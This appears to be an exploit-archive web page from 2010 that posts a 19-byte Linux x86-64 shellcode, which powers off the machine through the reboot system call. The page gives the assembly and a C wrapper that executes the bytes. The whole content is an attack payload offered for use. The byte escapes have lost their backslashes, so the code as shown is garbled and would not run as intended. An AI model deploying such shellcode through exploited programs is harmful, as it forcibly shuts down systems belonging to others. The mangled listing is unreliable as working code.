Home / os / win7

linux/x86-64 reboot(POWER_OFF) 19 bytes shellcode

Posted on 25 April 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86-64 reboot(POWER_OFF) 19 bytes shellcode</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================= linux/x86-64 reboot(POWER_OFF) 19 bytes shellcode ================================================= # Linux/x86_64 reboot(POWER_OFF) 19 bytes shellcode # Date: 2010-04-25 # Author: zbt # Tested on: x86_64 Debian GNU/Linux /* ; reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_POWER_OFF) section .text global _start _start: mov edx, 0x4321fedc mov esi, 0x28121969 mov edi, 0xfee1dead mov al, 0xa9 syscall */ int main(void) { char reboot[] = &quot;xbaxdcxfex21x43&quot; // mov $0x4321fedc,%edx &quot;xbex69x19x12x28&quot; // mov $0x28121969,%esi &quot;xbfxadxdexe1xfe&quot; // mov $0xfee1dead,%edi &quot;xb0xa9&quot; // mov $0xa9,%al &quot;x0fx05&quot;; // syscall (*(void (*)()) reboot)(); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-25]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP